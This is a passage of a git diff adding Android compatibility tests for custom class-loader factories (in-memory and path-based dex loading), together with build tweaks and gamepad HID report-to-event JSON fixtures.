+public class InMemoryDexClassLoaderFactory extends AppComponentFactory {
+    @Override
+    public ClassLoader instantiateClassLoader(ClassLoader defaultCL) {
+        try {
+            // InMemoryDexClassLoader will not load a zip file. Must extract
+            // dex files into ByteBuffers.
+            ZipFile zipFile = new ZipFile(AppComponentFactoryTest.SECONDARY_APK_PATH);
+
+            ArrayList<ByteBuffer> dexFiles = new ArrayList<>();
+            for (int dexId = 0;; dexId++) {
+                String zipEntryName = "classes" + (dexId == 0 ? "" : dexId) + ".dex";
+                ZipEntry zipEntry = zipFile.getEntry(zipEntryName);
+                if (zipEntry == null) {
+                    break;
+                }
+
+                final int zipEntrySize = (int) zipEntry.getSize();
+                ByteBuffer buf = ByteBuffer.allocate(zipEntrySize);
+                InputStream zipIS = zipFile.getInputStream(zipEntry);
+
+                for (int pos = 0; pos < zipEntrySize;) {
+                    int res = zipIS.read(buf.array(), pos, zipEntrySize);
+                    if (res < 0) {
+                      throw new IllegalStateException("Stream is closed");
+                    }
+                    pos += res;
+                    if (pos > zipEntrySize) {
+                      throw new IllegalStateException("Buffer overflow");
+                    }
+                }
+
+                dexFiles.add(buf);
+            }
+
+            ByteBuffer[] dexFilesArray = new ByteBuffer[dexFiles.size()];
+            dexFiles.toArray(dexFilesArray);
+
+            // Construct InMemoryDexClassLoader, make it a child of the default
+            // class loader.
+            return new InMemoryDexClassLoader(dexFilesArray, defaultCL);
+        } catch (Exception ex) {
+            throw new RuntimeException(ex);
+        }
+
+    }
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java
new file mode 100644
index 0000000..240354c
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.AppComponentFactory;
+import dalvik.system.PathClassLoader;
+
+// AppComponentFactory which sets up PathClassLoader as the main class loader
+// of the process.
+public class PathClassLoaderFactory extends AppComponentFactory {
+    @Override
+    public ClassLoader instantiateClassLoader(ClassLoader defaultCL) {
+        return new PathClassLoader(AppComponentFactoryTest.SECONDARY_APK_PATH, defaultCL);
+    }
+}
diff --git a/tests/tests/classloaderfactory/test-memcl/Android.mk b/tests/tests/classloaderfactory/test-memcl/Android.mk
new file mode 100644
index 0000000..94277b8
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/Android.mk
@@ -0,0 +1,18 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases
+include $(LOCAL_PATH)/../base_test.mk
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml
new file mode 100644
index 0000000..b96beea
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.classloaderfactory.memcl.cts">
+
+    <application
+        android:name="android.app.classloaderfactory.cts.MyApplication"
+        android:appComponentFactory="android.app.classloaderfactory.cts.InMemoryDexClassLoaderFactory">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="android.app.classloaderfactory.cts.MyActivity" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.classloaderfactory.memcl.cts"
+                     android:label="CTS tests of android.app">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
new file mode 100644
index 0000000..4ea2064
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for app Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/classloaderfactory-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.classloaderfactory.memcl.cts" />
+        <option name="runtime-hint" value="1s" />
+    </test>
+</configuration>
diff --git a/tests/tests/classloaderfactory/test-pathcl/Android.mk b/tests/tests/classloaderfactory/test-pathcl/Android.mk
new file mode 100644
index 0000000..28e0774
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/Android.mk
@@ -0,0 +1,18 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsClassLoaderFactoryPathClassLoaderTestCases
+include $(LOCAL_PATH)/../base_test.mk
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml
new file mode 100644
index 0000000..452ad80
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.componentfactory.pathcl.cts">
+
+    <application
+        android:name="android.app.classloaderfactory.cts.MyApplication"
+        android:appComponentFactory="android.app.classloaderfactory.cts.PathClassLoaderFactory">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="android.app.classloaderfactory.cts.MyActivity" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.componentfactory.pathcl.cts"
+                     android:label="CTS tests of android.app">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
new file mode 100644
index 0000000..3b3817c
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for app Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/classloaderfactory-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsClassLoaderFactoryPathClassLoaderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.componentfactory.pathcl.cts" />
+        <option name="runtime-hint" value="1s" />
+    </test>
+</configuration>
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 616f898..5d59af7 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -22,6 +22,10 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_USE_AAPT2 := true
 
+# Don't run manifestmerger on dependencies, it is unhappy with the duplicate
+# REQUIRED_MULTI_DENY permissions in AndroidManifest.xml
+LOCAL_DONT_MERGE_MANIFESTS := true
+
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 58305dd..4b22631 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -35,6 +35,7 @@
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.content.cts" />
         <option name="runtime-hint" value="21m30s" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index d0e70f2..80f47f9 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -28,7 +28,6 @@
 import java.util.Iterator;
 import java.util.Set;
 
-import org.kxml2.io.KXmlParser;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 import org.xmlpull.v1.XmlSerializer;
@@ -49,6 +48,7 @@
 import android.test.AndroidTestCase;
 import android.util.Printer;
 import android.util.StringBuilderPrinter;
+import android.util.Xml;
 
 import com.android.internal.util.FastXmlSerializer;
 
@@ -587,7 +587,7 @@
         mIntentFilter.addDataType(DATA_TYPE);
         mIntentFilter.writeToXml(xml);
         xml.flush();
-        final KXmlParser parser = new KXmlParser();
+        final XmlPullParser parser = Xml.newPullParser();
         final InputStream in = new ByteArrayInputStream(out.toByteArray());
         parser.setInput(in, "utf-8");
         final IntentFilter intentFilter = new IntentFilter();
diff --git a/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java b/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
index 940cdf5..d66033a 100644
--- a/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
@@ -33,6 +33,8 @@
      */
     @RestrictedBuildTest
     public void testPackageHasExpectedSdkVersion() {
-        assertEquals(Build.VERSION.SDK_INT, getAppInfo().targetSdkVersion);
+        assertTrue("targetSdkVersion=" + getAppInfo().targetSdkVersion
+                + " must be at least " + Build.VERSION.SDK_INT,
+                getAppInfo().targetSdkVersion >= Build.VERSION.SDK_INT);
     }
 }
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index f366781..8b31db5 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -31,6 +31,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 3
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index 9030a13..51496e5 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -46,6 +46,9 @@
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current
 
+# TODO(b/77530630): remove when this test passes with aapt2
+LOCAL_USE_AAPT2 := false
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index b72fde7..2906bf5 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -39,7 +39,7 @@
 	VulkanPreTransformTestHelpers.cpp \
 	VulkanTestHelpers.cpp
 
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
+LOCAL_CFLAGS += -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
 
 LOCAL_STATIC_LIBRARIES := libvkjson_ndk
 LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index 8598b84..5906c899 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -24,9 +24,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class CameraVulkanGpuTest {
@@ -43,11 +40,6 @@
             return;
         }
 
-        if(PropertyUtil.getFirstApiLevel() < Build.VERSION.SDK_INT){
-            // HAL3 is not required for P upgrade devices.
-            return;
-        }
-
         loadCameraAndVerifyFrameImport(InstrumentationRegistry.getContext().getAssets());
     }
 
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 4e8aaa7..f4d23de 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -30,7 +30,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
+    androidx.annotation_annotation \
     compatibility-device-util \
+    cts-input-lib \
     ctstestrunner \
     mockito-target-minus-junit4 \
     platform-test-annotations \
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
new file mode 100644
index 0000000..73d77b5
--- /dev/null
+++ b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
@@ -0,0 +1,121 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x02, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x04, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x08, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x10, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x20, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBL",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBR",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press POWER button (the button in the center)",
+    "reports": [
+      [0x01, 0x00, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  },
+
+  {
+    "name": "Press BACK button (left arrow)",
+    "reports": [
+      [0x01, 0x00, 0x82, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
new file mode 100644
index 0000000..e104040
--- /dev/null
+++ b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
@@ -0,0 +1,256 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x83, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": []
+  },
+
+  {
+    "name": "Left stick - press down (all axes)",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x87, 0x89, 0x72, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x93, 0xf7, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0xa0, 0xff, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x83, 0x73, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x83, 0x80, 0x72, 0x80, 0x00, 0x00]
+                ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.059, "AXIS_Y": 0.0745, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.153, "AXIS_Y": 0.9373, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.255, "AXIS_Y": 1.0000, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.027, "AXIS_Y": -0.098, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.027, "AXIS_Y": 0.0039, "AXIS_Z": -0.106}}
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x60, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x20, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x40, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x16, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x20, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x7a, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.827}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.749}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.043}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0x00, 0x80, 0xd3, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0xff, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x74, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.655}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.090}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.004}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x7c, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x55, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x20, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x09, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x4a, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.031}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.333}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.749}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.929}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.420}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x97, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0xff, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0xd1, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.184}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.639}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x66, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x13, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x21, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.200}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.851}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.74}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x8e, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x9d, 0x80, 0x00, 0x00],
